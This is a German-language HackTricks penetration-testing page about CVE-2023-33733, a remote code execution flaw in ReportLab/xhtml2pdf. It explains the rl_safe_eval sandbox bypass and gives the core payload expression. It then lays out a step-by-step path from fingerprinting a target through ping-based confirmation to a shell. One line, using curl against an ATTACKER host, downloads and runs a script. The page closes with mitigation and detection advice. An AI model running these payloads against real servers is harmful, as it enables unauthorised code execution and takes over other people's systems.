ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Diese Seite dokumentiert einen praktischen Sandbox-Escape und eine RCE-Primitive in ReportLab’s rl_safe_eval, die von xhtml2pdf und anderen PDF-Generierungs-Pipelines beim Rendern von nutzergesteuertem HTML in PDFs verwendet wird.

CVE-2023-33733 betrifft ReportLab-Versionen bis einschließlich 3.6.12. In bestimmten Attribut-Kontexten (z. B. color) werden Werte, die in dreifache Klammern [[[ ... ]]] eingeschlossen sind, serverseitig von rl_safe_eval ausgewertet. Durch das Konstruieren einer Nutzlast, die von einem erlaubten builtin (pow) auf dessen Python-Funktions-globals pivotiert, kann ein Angreifer das os-Modul erreichen und Befehle ausführen.

Wichtige Punkte

  • Auslöser: injiziere [[[ ... ]]] in ausgewertete Attribute wie innerhalb von Markup, das von ReportLab/xhtml2pdf geparst wird.
  • Sandbox: rl_safe_eval ersetzt gefährliche builtins, aber ausgewertete Funktionen haben weiterhin Zugriff auf globals.
  • Umgehung: erstelle eine temporäre Klasse Word, um rl_safe_eval Namensprüfungen zu umgehen und den String "globals" zu erhalten, während geblockte Dunder-Filterungen vermieden werden.
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • Stabilität: Gib nach der Ausführung einen gültigen Wert für das Attribut zurück (für color z. B. 'red').

Wann testen

  • Anwendungen, die HTML-zu-PDF-Export anbieten (Profile, Rechnungen, Berichte) und in denen xhtml2pdf/ReportLab in PDF-Metadaten oder HTTP-Response-Kommentaren auftauchen.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" als Producer
  • HTTP-Response für PDF beginnt oft mit einem ReportLab generator Kommentar

Wie der Sandbox-Bypass funktioniert

  • rl_safe_eval entfernt oder ersetzt viele builtins (getattr, type, pow, ...) und wendet Namensfilter an, um Attribute zu verweigern, die mit __ beginnen oder auf einer Denylist stehen.
  • Sichere Funktionen liegen jedoch in einem globals-Dictionary, das über func.globals zugänglich ist.
  • Nutze type(type(1)), um die echte builtin type-Funktion wiederherzustellen (um die Wrapper von ReportLab zu umgehen), und definiere dann eine Word-Klasse, die von str abgeleitet ist mit veränderter Vergleichslogik, sodass:
    • .startswith('') → immer False (um die startswith('') Namensprüfung zu umgehen)
    • .eq gibt beim ersten Vergleich False zurück (um denylist-Mitgliedschaftsprüfungen zu umgehen) und danach True (damit Python getattr funktioniert)
    • .hash entspricht hash(str(self))
  • Damit liefert getattr(pow, Word('globals')) das globals-Dict der eingewickelten pow-Funktion, das ein importiertes os-Modul enthält. Dann: ['os'].system('').

Minimales Exploit-Muster (Attribut-Beispiel) Platziere die Nutzlast inside eines ausgewerteten Attributs und sorge dafür, dass sie nach der Ausführung einen gültigen Attributwert zurückgibt, z. B. via boolean und 'red'.

exploit

  • Die List-Comprehension-Form erlaubt einen einzelnen Ausdruck, der von rl_safe_eval akzeptiert wird.
  • Der nachgestellte and 'red' gibt eine gültige CSS-Farbe zurück, sodass das Rendering nicht fehlschlägt.
  • Ersetze den Befehl nach Bedarf; verwende ping, um die Ausführung mit tcpdump zu validieren.

Operativer Ablauf

  1. PDF-Generator identifizieren
  • PDF Producer zeigt xhtml2pdf; HTTP-Response enthält ReportLab-Kommentar.
  1. Finde eine Eingabe, die ins PDF reflektiert wird (z. B. Profil-Bio/-Beschreibung) und löse einen Export aus.
  2. Verifiziere die Ausführung mit leisem ICMP-Verkehr
  • Ausführen: sudo tcpdump -ni icmp
  • Payload: ... system('ping <your_ip>') ...
  • Windows sendet oft standardmäßig genau vier Echo-Requests.
  1. Shell herstellen
  • Für Windows ist ein zuverlässiger Zwei-Phasen-Ansatz hilfreich, um Quoting-/Encoding-Probleme zu vermeiden:
  • Phase 1 (Download):

exploit

  • Phase 2 (Ausführen):

exploit

  • Für Linux-Ziele ist ein ähnlicher Zwei-Phasen-Ansatz mit curl/wget möglich:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Hinweise und Tipps

  • Attribut-Kontexte: color ist ein bekannter ausgewerteter Attribut-Kontext; andere Attribute in ReportLab-Markup können ebenfalls Ausdrücke auswerten. Wenn eine Stelle bereinigt ist, probiere andere Orte im PDF-Flow (verschiedene Felder, Tabellenstile, etc.).
  • Quoting: Halte Befehle kompakt. Zwei-Phasen-Downloads reduzieren deutlich Quoting- und Escape-Probleme.
  • Zuverlässigkeit: Wenn Exporte gecached oder in eine Queue gestellt werden, variiere die Nutzlast leicht (z. B. zufälliger Pfad oder Query), um Cache-Treffer zu vermeiden.

Abhilfemaßnahmen und Erkennung

  • Upgrade ReportLab auf 3.6.13 oder neuer (CVE-2023-33733 ist dort behoben). Verfolge außerdem Security-Advisories in Distributionspaketen.
  • Füttere xhtml2pdf/ReportLab nicht direkt mit nutzergesteuertem HTML/Markup ohne strikte Sanitierung. Entferne/verweigere [[[...]]] Evaluierungs-Konstrukte und vendor-spezifische Tags, wenn Input nicht vertrauenswürdig ist.
  • Ziehe in Erwägung, rl_safe_eval für untrusted Inputs vollständig zu deaktivieren oder zu umschließen.
  • Überwache verdächtige ausgehende Verbindungen während der PDF-Generierung (z. B. ICMP/HTTP von App-Servern beim Export von Dokumenten).

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks